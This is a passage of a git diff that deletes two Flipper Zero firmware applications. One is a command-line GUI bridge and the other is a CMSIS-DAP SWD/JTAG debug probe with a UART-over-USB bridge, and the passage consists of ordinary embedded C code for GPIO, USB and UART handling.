c); - } - } - if(available > 0) { - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - } - // Set input header stuff - size_t len = furi_string_size(app->text_box_store); - size_t idx = len - 2; - while(idx > 0) { - if(furi_string_get_char(app->text_box_store, idx) == '\n') { - idx++; - break; - } - idx--; - } - text_input_set_header_text(app->text_input, furi_string_get_cstr(app->text_box_store) + idx); - UNUSED(app); -} - -ViewPortInputCallback prev_input_callback; -volatile bool persistent_exit = false; -static void input_callback_wrapper(InputEvent* event, void* context) { - CliguiApp* app = context; - if(event->type == InputTypeLong && event->key == InputKeyBack) { - persistent_exit = false; - view_dispatcher_stop(app->view_dispatcher); - } - if(event->type == InputTypeLong && event->key == InputKeyOk) { - if(app->data->state == ViewConsoleOutput) { - persistent_exit = true; - view_dispatcher_stop(app->view_dispatcher); - } - } - if(app->data->state == ViewTextInput) { - text_input_input_handler(app, event); - } else { - console_output_input_handler(app, event); - } - prev_input_callback(event, app->view_dispatcher); -} - -int32_t cligui_main(void* p) { - UNUSED(p); - - // Unlock loader-lock and save app thread - FuriThread* temp_save_appthr; - Loader* loader = furi_record_open(RECORD_LOADER); - temp_save_appthr = loader->app.thread; - loader->app.thread = NULL; - furi_record_close(RECORD_LOADER); - - CliguiApp* cligui = malloc(sizeof(CliguiApp)); - cligui->data = malloc(sizeof(CliguiData)); - - latch_tx_handler(); - cligui->data->streams.app_tx = rx_stream; - cligui->data->streams.app_rx = tx_stream; - - cligui->gui = furi_record_open(RECORD_GUI); - cligui->view_dispatcher = view_dispatcher_alloc(); - prev_input_callback = cligui->view_dispatcher->view_port->input_callback; - view_port_input_callback_set( - cligui->view_dispatcher->view_port, input_callback_wrapper, cligui); - view_dispatcher_enable_queue(cligui->view_dispatcher); - view_dispatcher_set_event_callback_context(cligui->view_dispatcher, cligui); - view_dispatcher_set_custom_event_callback(cligui->view_dispatcher, cligui_custom_event_cb); - view_dispatcher_set_navigation_event_callback(cligui->view_dispatcher, cligui_back_event_cb); - view_dispatcher_set_tick_event_callback(cligui->view_dispatcher, cligui_tick_event_cb, 100); - - view_dispatcher_attach_to_gui( - cligui->view_dispatcher, cligui->gui, ViewDispatcherTypeFullscreen); - - view_dispatcher_send_to_front(cligui->view_dispatcher); - - cligui->text_box = text_box_alloc(); - view_dispatcher_add_view( - cligui->view_dispatcher, ViewConsoleOutput, text_box_get_view(cligui->text_box)); - cligui->text_box_store = furi_string_alloc(); - furi_string_reserve(cligui->text_box_store, TEXT_BOX_STORE_SIZE); - furi_string_set_char(cligui->text_box_store, 0, 0); - text_box_set_text(cligui->text_box, furi_string_get_cstr(cligui->text_box_store)); - text_box_set_focus(cligui->text_box, TextBoxFocusEnd); - - cligui->text_input = text_input_alloc(); - text_input_set_result_callback( - cligui->text_input, - text_input_result_callback, - cligui, - cligui->text_input_store, - TEXT_INPUT_STORE_SIZE, - true); - view_dispatcher_add_view( - cligui->view_dispatcher, ViewTextInput, text_input_get_view(cligui->text_input)); - - view_dispatcher_switch_to_view(cligui->view_dispatcher, ViewTextInput); - cligui->data->state = ViewTextInput; - - view_dispatcher_run(cligui->view_dispatcher); - - view_dispatcher_remove_view(cligui->view_dispatcher, ViewConsoleOutput); - view_dispatcher_remove_view(cligui->view_dispatcher, ViewTextInput); - text_box_free(cligui->text_box); - furi_string_free(cligui->text_box_store); - text_input_free(cligui->text_input); - view_dispatcher_free(cligui->view_dispatcher); - - unlatch_tx_handler(persistent_exit); - - furi_record_close(RECORD_GUI); - - free(cligui->data); - free(cligui); - - // We restoring previous app thread here, we love kostily and velosipedy, bydlo kod forever! - loader = furi_record_open(RECORD_LOADER); - loader->app.thread = temp_save_appthr; - furi_record_close(RECORD_LOADER); - - return 0; -} diff --git a/applications/external/cli_bridge/cligui_main_i.h b/applications/external/cli_bridge/cligui_main_i.h deleted file mode 100644 index 36e3e156a..000000000 --- a/applications/external/cli_bridge/cligui_main_i.h +++ /dev/null @@ -1,39 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define TEXT_BOX_STORE_SIZE (4096) -#define TEXT_INPUT_STORE_SIZE (512) - -typedef enum { - ViewTextInput, - ViewConsoleOutput, -} CliguiState; - -typedef struct { - CliguiState state; - struct { - FuriStreamBuffer* app_tx; - FuriStreamBuffer* app_rx; - } streams; -} CliguiData; - -typedef struct { - CliguiData* data; - Gui* gui; - TextBox* text_box; - FuriString* text_box_store; - char text_input_store[TEXT_INPUT_STORE_SIZE + 1]; - TextInput* text_input; - ViewDispatcher* view_dispatcher; -} CliguiApp; diff --git a/applications/external/cli_bridge/console_output.c b/applications/external/cli_bridge/console_output.c deleted file mode 100644 index 71603ec13..000000000 --- a/applications/external/cli_bridge/console_output.c +++ /dev/null @@ -1,12 +0,0 @@ -#include "console_output.h" - -void console_output_input_handler(CliguiApp* app, InputEvent* event) { - if(event->type == InputTypeShort && (event->key == InputKeyOk || event->key == InputKeyLeft)) { - view_dispatcher_switch_to_view(app->view_dispatcher, ViewTextInput); - app->data->state = ViewTextInput; - } - if(event->type == InputTypeShort && event->key == InputKeyBack) { - char eot = 0x03; - furi_stream_buffer_send(app->data->streams.app_tx, &eot, 1, FuriWaitForever); - } -} \ No newline at end of file diff --git a/applications/external/cli_bridge/console_output.h b/applications/external/cli_bridge/console_output.h deleted file mode 100644 index 63e0d9afe..000000000 --- a/applications/external/cli_bridge/console_output.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once -#include "cligui_main_i.h" - -extern void console_output_input_handler(CliguiApp*, InputEvent*); \ No newline at end of file diff --git a/applications/external/cli_bridge/text_input.c b/applications/external/cli_bridge/text_input.c deleted file mode 100644 index 568b8ebcd..000000000 --- a/applications/external/cli_bridge/text_input.c +++ /dev/null @@ -1,34 +0,0 @@ -#include "text_input.h" -#include "cligui_main_i.h" - -void text_input_result_callback(void* ctx) { - CliguiApp* app = ctx; - char* data = app->text_input_store; - size_t len = strlen(data); - for(size_t i = 0; i < len; i++) { - if(data[i] >= 0x41 && data[i] <= 0x5A) { - // Char is uppercase - data[i] += 0x20; - } - } - furi_stream_buffer_send(app->data->streams.app_tx, data, len, FuriWaitForever); - furi_stream_buffer_send(app->data->streams.app_tx, "\r\n", 2, FuriWaitForever); - data[0] = 0; - view_dispatcher_switch_to_view(app->view_dispatcher, ViewConsoleOutput); - app->data->state = ViewConsoleOutput; -} - -void text_input_input_handler(CliguiApp* app, InputEvent* event) { - if(event->type == InputTypeShort && event->key == InputKeyBack) { - // view_dispatcher_switch_to_view(app->view_dispatcher, ViewConsoleOutput); - // app->data->state = ViewConsoleOutput; - size_t len = strlen(app->text_input_store); - app->text_input_store[len] = ' '; - app->text_input_store[len + 1] = 0; - } - if(event->type == InputTypeLong && - (event->key == InputKeyLeft || event->key == InputKeyRight)) { - view_dispatcher_switch_to_view(app->view_dispatcher, ViewConsoleOutput); - app->data->state = ViewConsoleOutput; - } -} \ No newline at end of file diff --git a/applications/external/cli_bridge/text_input.h b/applications/external/cli_bridge/text_input.h deleted file mode 100644 index 77cc30efa..000000000 --- a/applications/external/cli_bridge/text_input.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once -#include "cligui_main_i.h" - -extern void text_input_result_callback(void* ctx); -extern void text_input_input_handler(CliguiApp*, InputEvent*); \ No newline at end of file diff --git a/applications/external/dap_link/application.fam b/applications/external/dap_link/application.fam deleted file mode 100644 index 8f25bef83..000000000 --- a/applications/external/dap_link/application.fam +++ /dev/null @@ -1,25 +0,0 @@ -App( - appid="dap_link", - name="[SWD-JTAG] DAP Link", - apptype=FlipperAppType.EXTERNAL, - entry_point="dap_link_app", - requires=[ - "gui", - "dialogs", - ], - stack_size=4 * 1024, - fap_description="Enables use of Flipper as a debug probe for ARM devices, implements the CMSIS-DAP protocol", - fap_version="1.0", - fap_icon="dap_link.png", - fap_category="GPIO", - fap_private_libs=[ - Lib( - name="free-dap", - cincludes=["."], - sources=[ - "dap.c", - ], - ), - ], - fap_icon_assets="icons", -) diff --git a/applications/external/dap_link/dap_config.h b/applications/external/dap_link/dap_config.h deleted file mode 100644 index 88b90bd34..000000000 --- a/applications/external/dap_link/dap_config.h +++ /dev/null @@ -1,234 +0,0 @@ -// SPDX-License-Identifier: BSD-3-Clause -// Copyright (c) 2022, Alex Taradov . All rights reserved. - -#ifndef _DAP_CONFIG_H_ -#define _DAP_CONFIG_H_ - -/*- Includes ----------------------------------------------------------------*/ -#include - -/*- Definitions -------------------------------------------------------------*/ -#define DAP_CONFIG_ENABLE_JTAG - -#define DAP_CONFIG_DEFAULT_PORT DAP_PORT_SWD -#define DAP_CONFIG_DEFAULT_CLOCK 4200000 // Hz - -#define DAP_CONFIG_PACKET_SIZE 64 -#define DAP_CONFIG_PACKET_COUNT 1 - -#define DAP_CONFIG_JTAG_DEV_COUNT 8 - -// DAP_CONFIG_PRODUCT_STR must contain "CMSIS-DAP" to be compatible with the standard -#define DAP_CONFIG_VENDOR_STR "Flipper Zero" -#define DAP_CONFIG_PRODUCT_STR "Generic CMSIS-DAP Adapter" -#define DAP_CONFIG_SER_NUM_STR usb_serial_number -#define DAP_CONFIG_CMSIS_DAP_VER_STR "2.0.0" - -#define DAP_CONFIG_RESET_TARGET_FN dap_app_target_reset -#define DAP_CONFIG_VENDOR_FN dap_app_vendor_cmd - -// Attribute to use for performance-critical functions -#define DAP_CONFIG_PERFORMANCE_ATTR - -// A value at which dap_clock_test() produces 1 kHz output on the SWCLK pin -// #define DAP_CONFIG_DELAY_CONSTANT 19000 -#define DAP_CONFIG_DELAY_CONSTANT 6290 - -// A threshold for switching to fast clock (no added delays) -// This is the frequency produced by dap_clock_test(1) on the SWCLK pin -#define DAP_CONFIG_FAST_CLOCK 2400000 // Hz - -/*- Prototypes --------------------------------------------------------------*/ -extern char usb_serial_number[16]; - -/*- Implementations ---------------------------------------------------------*/ -extern GpioPin flipper_dap_swclk_pin; -extern GpioPin flipper_dap_swdio_pin; -extern GpioPin flipper_dap_reset_pin; -extern GpioPin flipper_dap_tdo_pin; -extern GpioPin flipper_dap_tdi_pin; - -extern void dap_app_vendor_cmd(uint8_t cmd); -extern void dap_app_target_reset(); -extern void dap_app_disconnect(); -extern void dap_app_connect_swd(); -extern void dap_app_connect_jtag(); - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWCLK_TCK_write(int value) { - furi_hal_gpio_write(&flipper_dap_swclk_pin, value); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWDIO_TMS_write(int value) { - furi_hal_gpio_write(&flipper_dap_swdio_pin, value); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_TDI_write(int value) { -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_write(&flipper_dap_tdi_pin, value); -#else - (void)value; -#endif -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_TDO_write(int value) { -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_write(&flipper_dap_tdo_pin, value); -#else - (void)value; -#endif -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_nTRST_write(int value) { - (void)value; -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_nRESET_write(int value) { - furi_hal_gpio_write(&flipper_dap_reset_pin, value); -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_SWCLK_TCK_read(void) { - return furi_hal_gpio_read(&flipper_dap_swclk_pin); -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_SWDIO_TMS_read(void) { - return furi_hal_gpio_read(&flipper_dap_swdio_pin); -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_TDO_read(void) { -#ifdef DAP_CONFIG_ENABLE_JTAG - return furi_hal_gpio_read(&flipper_dap_tdo_pin); -#else - return 0; -#endif -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_TDI_read(void) { -#ifdef DAP_CONFIG_ENABLE_JTAG - return furi_hal_gpio_read(&flipper_dap_tdi_pin); -#else - return 0; -#endif -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_nTRST_read(void) { - return 0; -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_nRESET_read(void) { - return furi_hal_gpio_read(&flipper_dap_reset_pin); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWCLK_TCK_set(void) { - LL_GPIO_SetOutputPin(flipper_dap_swclk_pin.port, flipper_dap_swclk_pin.pin); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWCLK_TCK_clr(void) { - LL_GPIO_ResetOutputPin(flipper_dap_swclk_pin.port, flipper_dap_swclk_pin.pin); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWDIO_TMS_in(void) { - LL_GPIO_SetPinMode(flipper_dap_swdio_pin.port, flipper_dap_swdio_pin.pin, LL_GPIO_MODE_INPUT); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWDIO_TMS_out(void) { - LL_GPIO_SetPinMode(flipper_dap_swdio_pin.port, flipper_dap_swdio_pin.pin, LL_GPIO_MODE_OUTPUT); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SETUP(void) { - furi_hal_gpio_init(&flipper_dap_swdio_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_swclk_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_reset_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#endif -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_DISCONNECT(void) { - furi_hal_gpio_init(&flipper_dap_swdio_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_swclk_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_reset_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#endif - dap_app_disconnect(); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_CONNECT_SWD(void) { - furi_hal_gpio_init( - &flipper_dap_swdio_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_swdio_pin, true); - - furi_hal_gpio_init( - &flipper_dap_swclk_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_swclk_pin, true); - - furi_hal_gpio_init( - &flipper_dap_reset_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_reset_pin, true); - -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#endif - dap_app_connect_swd(); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_CONNECT_JTAG(void) { - furi_hal_gpio_init( - &flipper_dap_swdio_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_swdio_pin, true); - - furi_hal_gpio_init( - &flipper_dap_swclk_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_swclk_pin, true); - - furi_hal_gpio_init( - &flipper_dap_reset_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_reset_pin, true); - -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - - furi_hal_gpio_init( - &flipper_dap_tdi_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_tdi_pin, true); -#endif - dap_app_connect_jtag(); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_LED(int index, int state) { - (void)index; - (void)state; -} - -//----------------------------------------------------------------------------- -__attribute__((always_inline)) static inline void DAP_CONFIG_DELAY(uint32_t cycles) { - asm volatile("1: subs %[cycles], %[cycles], #1 \n" - " bne 1b \n" - : [cycles] "+l"(cycles)); -} - -#endif // _DAP_CONFIG_H_ diff --git a/applications/external/dap_link/dap_link.c b/applications/external/dap_link/dap_link.c deleted file mode 100644 index 487c63c44..000000000 --- a/applications/external/dap_link/dap_link.c +++ /dev/null @@ -1,528 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "dap_link.h" -#include "dap_config.h" -#include "gui/dap_gui.h" -#include "usb/dap_v2_usb.h" -#include -#include "dap_link_icons.h" -#include - -/***************************************************************************/ -/****************************** DAP COMMON *********************************/ -/***************************************************************************/ - -struct DapApp { - FuriThread* dap_thread; - FuriThread* cdc_thread; - FuriThread* gui_thread; - - DapState state; - DapConfig config; -}; - -void dap_app_get_state(DapApp* app, DapState* state) { - *state = app->state; -} - -#define DAP_PROCESS_THREAD_TICK 500 - -typedef enum { - DapThreadEventStop = (1 << 0), -} DapThreadEvent; - -void dap_thread_send_stop(FuriThread* thread) { - furi_thread_flags_set(furi_thread_get_id(thread), DapThreadEventStop); -} - -GpioPin flipper_dap_swclk_pin; -GpioPin flipper_dap_swdio_pin; -GpioPin flipper_dap_reset_pin; -GpioPin flipper_dap_tdo_pin; -GpioPin flipper_dap_tdi_pin; - -/***************************************************************************/ -/****************************** DAP PROCESS ********************************/ -/***************************************************************************/ - -typedef struct { - uint8_t data[DAP_CONFIG_PACKET_SIZE]; - uint8_t size; -} DapPacket; - -typedef enum { - DAPThreadEventStop = DapThreadEventStop, - DAPThreadEventRxV1 = (1 << 1), - DAPThreadEventRxV2 = (1 << 2), - DAPThreadEventUSBConnect = (1 << 3), - DAPThreadEventUSBDisconnect = (1 << 4), - DAPThreadEventApplyConfig = (1 << 5), - DAPThreadEventAll = DAPThreadEventStop | DAPThreadEventRxV1 | DAPThreadEventRxV2 | - DAPThreadEventUSBConnect | DAPThreadEventUSBDisconnect | - DAPThreadEventApplyConfig, -} DAPThreadEvent; - -#define USB_SERIAL_NUMBER_LEN 16 -char usb_serial_number[USB_SERIAL_NUMBER_LEN] = {0}; - -const char* dap_app_get_serial(DapApp* app) { - UNUSED(app); - return usb_serial_number; -} - -static void dap_app_rx1_callback(void* context) { - furi_assert(context); - FuriThreadId thread_id = (FuriThreadId)context; - furi_thread_flags_set(thread_id, DAPThreadEventRxV1); -} - -static void dap_app_rx2_callback(void* context) { - furi_assert(context); - FuriThreadId thread_id = (FuriThreadId)context; - furi_thread_flags_set(thread_id, DAPThreadEventRxV2); -} - -static void dap_app_usb_state_callback(bool state, void* context) { - furi_assert(context); - FuriThreadId thread_id = (FuriThreadId)context; - if(state) { - furi_thread_flags_set(thread_id, DAPThreadEventUSBConnect); - } else { - furi_thread_flags_set(thread_id, DAPThreadEventUSBDisconnect); - } -} - -static void dap_app_process_v1() { - DapPacket tx_packet; - DapPacket rx_packet; - memset(&tx_packet, 0, sizeof(DapPacket)); - rx_packet.size = dap_v1_usb_rx(rx_packet.data, DAP_CONFIG_PACKET_SIZE); - dap_process_request(rx_packet.data, rx_packet.size, tx_packet.data, DAP_CONFIG_PACKET_SIZE); - dap_v1_usb_tx(tx_packet.data, DAP_CONFIG_PACKET_SIZE); -} - -static void dap_app_process_v2() { - DapPacket tx_packet; - DapPacket rx_packet; - memset(&tx_packet, 0, sizeof(DapPacket)); - rx_packet.size = dap_v2_usb_rx(rx_packet.data, DAP_CONFIG_PACKET_SIZE); - size_t len = dap_process_request( - rx_packet.data, rx_packet.size, tx_packet.data, DAP_CONFIG_PACKET_SIZE); - dap_v2_usb_tx(tx_packet.data, len); -} - -void dap_app_vendor_cmd(uint8_t cmd) { - // openocd -c "cmsis-dap cmd 81" - if(cmd == 0x01) { - furi_hal_power_reset(); - } -} - -void dap_app_target_reset() { - FURI_LOG_I("DAP", "Target reset"); -} - -static void dap_init_gpio(DapSwdPins swd_pins) { - switch(swd_pins) { - case DapSwdPinsPA7PA6: - flipper_dap_swclk_pin = gpio_ext_pa7; - flipper_dap_swdio_pin = gpio_ext_pa6; - break; - case DapSwdPinsPA14PA13: - flipper_dap_swclk_pin = (GpioPin){.port = GPIOA, .pin = LL_GPIO_PIN_14}; - flipper_dap_swdio_pin = (GpioPin){.port = GPIOA, .pin = LL_GPIO_PIN_13}; - break; - } - - flipper_dap_reset_pin = gpio_ext_pa4; - flipper_dap_tdo_pin = gpio_ext_pb3; - flipper_dap_tdi_pin = gpio_ext_pb2; -} - -static void dap_deinit_gpio(DapSwdPins swd_pins) { - // setup gpio pins to default state - furi_hal_gpio_init(&flipper_dap_reset_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - - if(DapSwdPinsPA14PA13 == swd_pins) { - // PA14 and PA13 are used by SWD - furi_hal_gpio_init_ex( - &flipper_dap_swclk_pin, - GpioModeAltFunctionPushPull, - GpioPullDown, - GpioSpeedLow, - GpioAltFn0JTCK_SWCLK); - furi_hal_gpio_init_ex( - &flipper_dap_swdio_pin, - GpioModeAltFunctionPushPull, - GpioPullUp, - GpioSpeedVeryHigh, - GpioAltFn0JTMS_SWDIO); - } else { - furi_hal_gpio_init(&flipper_dap_swclk_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&flipper_dap_swdio_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - } -} - -static int32_t dap_process(void* p) { - DapApp* app = p; - DapState* dap_state = &(app->state); - - // allocate resources - FuriHalUsbInterface* usb_config_prev; - app->config.swd_pins = DapSwdPinsPA7PA6; - DapSwdPins swd_pins_prev = app->config.swd_pins; - - // init pins - dap_init_gpio(swd_pins_prev); - - // init dap - dap_init(); - - // get name - const char* name = furi_hal_version_get_name_ptr(); - if(!name) { - name = "Flipper"; - } - snprintf(usb_serial_number, USB_SERIAL_NUMBER_LEN, "DAP_%s", name); - - // init usb - usb_config_prev = furi_hal_usb_get_config(); - dap_common_usb_alloc_name(usb_serial_number); - dap_common_usb_set_context(furi_thread_get_id(furi_thread_get_current())); - dap_v1_usb_set_rx_callback(dap_app_rx1_callback); - dap_v2_usb_set_rx_callback(dap_app_rx2_callback); - dap_common_usb_set_state_callback(dap_app_usb_state_callback); - furi_hal_usb_set_config(&dap_v2_usb_hid, NULL); - - // work - uint32_t events; - while(1) { - events = furi_thread_flags_wait(DAPThreadEventAll, FuriFlagWaitAny, FuriWaitForever); - - if(!(events & FuriFlagError)) { - if(events & DAPThreadEventRxV1) { - dap_app_process_v1(); - dap_state->dap_counter++; - dap_state->dap_version = DapVersionV1; - } - - if(events & DAPThreadEventRxV2) { - dap_app_process_v2(); - dap_state->dap_counter++; - dap_state->dap_version = DapVersionV2; - } - - if(events & DAPThreadEventUSBConnect) { - dap_state->usb_connected = true; - } - - if(events & DAPThreadEventUSBDisconnect) { - dap_state->usb_connected = false; - dap_state->dap_version = DapVersionUnknown; - } - - if(events & DAPThreadEventApplyConfig) { - if(swd_pins_prev != app->config.swd_pins) { - dap_deinit_gpio(swd_pins_prev); - swd_pins_prev = app->config.swd_pins; - dap_init_gpio(swd_pins_prev); - } - } - - if(events & DAPThreadEventStop) { - break; - } - } - } - - // deinit usb - furi_hal_usb_set_config(usb_config_prev, NULL); - dap_common_usb_free_name(); - dap_deinit_gpio(swd_pins_prev); - return 0; -} - -/***************************************************************************/ -/****************************** CDC PROCESS ********************************/ -/***************************************************************************/ - -typedef enum { - CDCThreadEventStop = DapThreadEventStop, - CDCThreadEventUARTRx = (1 << 1), - CDCThreadEventCDCRx = (1 << 2), - CDCThreadEventCDCConfig = (1 << 3), - CDCThreadEventApplyConfig = (1 << 4), - CDCThreadEventAll = CDCThreadEventStop | CDCThreadEventUARTRx | CDCThreadEventCDCRx | - CDCThreadEventCDCConfig | CDCThreadEventApplyConfig, -} CDCThreadEvent; - -typedef struct { - FuriStreamBuffer* rx_stream; - FuriThreadId thread_id; - FuriHalUartId uart_id; - struct usb_cdc_line_coding line_coding; -} CDCProcess; - -static void cdc_uart_irq_cb(UartIrqEvent ev, uint8_t data, void* ctx) { - CDCProcess* app = ctx; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(app->rx_stream, &data, 1, 0); - furi_thread_flags_set(app->thread_id, CDCThreadEventUARTRx); - } -} - -static void cdc_usb_rx_callback(void* context) { - CDCProcess* app = context; - furi_thread_flags_set(app->thread_id, CDCThreadEventCDCRx); -} - -static void cdc_usb_control_line_callback(uint8_t state, void* context) { - UNUSED(context); - UNUSED(state); -} - -static void cdc_usb_config_callback(struct usb_cdc_line_coding* config, void* context) { - CDCProcess* app = context; - app->line_coding = *config; - furi_thread_flags_set(app->thread_id, CDCThreadEventCDCConfig); -} - -static FuriHalUartId cdc_init_uart( - DapUartType type, - DapUartTXRX swap, - uint32_t baudrate, - void (*cb)(UartIrqEvent ev, uint8_t data, void* ctx), - void* ctx) { - FuriHalUartId uart_id = FuriHalUartIdUSART1; - if(baudrate == 0) baudrate = 115200; - - switch(type) { - case DapUartTypeUSART1: - uart_id = FuriHalUartIdUSART1; - furi_hal_console_disable(); - furi_hal_uart_deinit(uart_id); - if(swap == DapUartTXRXSwap) { - LL_USART_SetTXRXSwap(USART1, LL_USART_TXRX_SWAPPED); - } else { - LL_USART_SetTXRXSwap(USART1, LL_USART_TXRX_STANDARD); - } - furi_hal_uart_init(uart_id, baudrate); - furi_hal_uart_set_irq_cb(uart_id, cb, ctx); - break; - case DapUartTypeLPUART1: - uart_id = FuriHalUartIdLPUART1; - furi_hal_uart_deinit(uart_id); - if(swap == DapUartTXRXSwap) { - LL_LPUART_SetTXRXSwap(LPUART1, LL_LPUART_TXRX_SWAPPED); - } else { - LL_LPUART_SetTXRXSwap(LPUART1, LL_LPUART_TXRX_STANDARD); - } - furi_hal_uart_init(uart_id, baudrate); - furi_hal_uart_set_irq_cb(uart_id, cb, ctx); - break; - } - - return uart_id; -} - -static void cdc_deinit_uart(DapUartType type) { - switch(type) { - case DapUartTypeUSART1: - furi_hal_uart_deinit(FuriHalUartIdUSART1); - LL_USART_SetTXRXSwap(USART1, LL_USART_TXRX_STANDARD); - furi_hal_console_init(); - break; - case DapUartTypeLPUART1: - furi_hal_uart_deinit(FuriHalUartIdLPUART1); - LL_LPUART_SetTXRXSwap(LPUART1, LL_LPUART_TXRX_STANDARD); - break; - } -} - -static int32_t cdc_process(void* p) { - DapApp* dap_app = p; - DapState* dap_state = &(dap_app->state); - - dap_app->config.uart_pins = DapUartTypeLPUART1; - dap_app->config.uart_swap = DapUartTXRXNormal; - - DapUartType uart_pins_prev = dap_app->config.uart_pins; - DapUartTXRX uart_swap_prev = dap_app->config.uart_swap; - - CDCProcess* app = malloc(sizeof(CDCProcess)); - app->thread_id = furi_thread_get_id(furi_thread_get_current()); - app->rx_stream = furi_stream_buffer_alloc(512, 1); - - const uint8_t rx_buffer_size = 64; - uint8_t* rx_buffer = malloc(rx_buffer_size); - - app->uart_id = cdc_init_uart( - uart_pins_prev, uart_swap_prev, dap_state->cdc_baudrate, cdc_uart_irq_cb, app); - - dap_cdc_usb_set_context(app); - dap_cdc_usb_set_rx_callback(cdc_usb_rx_callback); - dap_cdc_usb_set_control_line_callback(cdc_usb_control_line_callback); - dap_cdc_usb_set_config_callback(cdc_usb_config_callback); - - uint32_t events; - while(1) { - events = furi_thread_flags_wait(CDCThreadEventAll, FuriFlagWaitAny, FuriWaitForever); - - if(!(events & FuriFlagError)) { - if(events & CDCThreadEventCDCConfig) { - if(dap_state->cdc_baudrate != app->line_coding.dwDTERate) { - dap_state->cdc_baudrate = app->line_coding.dwDTERate; - if(dap_state->cdc_baudrate > 0) { - furi_hal_uart_set_br(app->uart_id, dap_state->cdc_baudrate); - } - } - } - - if(events & CDCThreadEventUARTRx) { - size_t len = - furi_stream_buffer_receive(app->rx_stream, rx_buffer, rx_buffer_size, 0); - - if(len > 0) { - dap_cdc_usb_tx(rx_buffer, len); - } - dap_state->cdc_rx_counter += len; - } - - if(events & CDCThreadEventCDCRx) { - size_t len = dap_cdc_usb_rx(rx_buffer, rx_buffer_size); - if(len > 0) { - furi_hal_uart_tx(app->uart_id, rx_buffer, len); - } - dap_state->cdc_tx_counter += len; - } - - if(events & CDCThreadEventApplyConfig) { - if(uart_pins_prev != dap_app->config.uart_pins || - uart_swap_prev != dap_app->config.uart_swap) { - cdc_deinit_uart(uart_pins_prev); - uart_pins_prev = dap_app->config.uart_pins; - uart_swap_prev = dap_app->config.uart_swap; - app->uart_id = cdc_init_uart( - uart_pins_prev, - uart_swap_prev, - dap_state->cdc_baudrate, - cdc_uart_irq_cb, - app); - } - } - - if(events & CDCThreadEventStop) { - break; - } - } - } - - 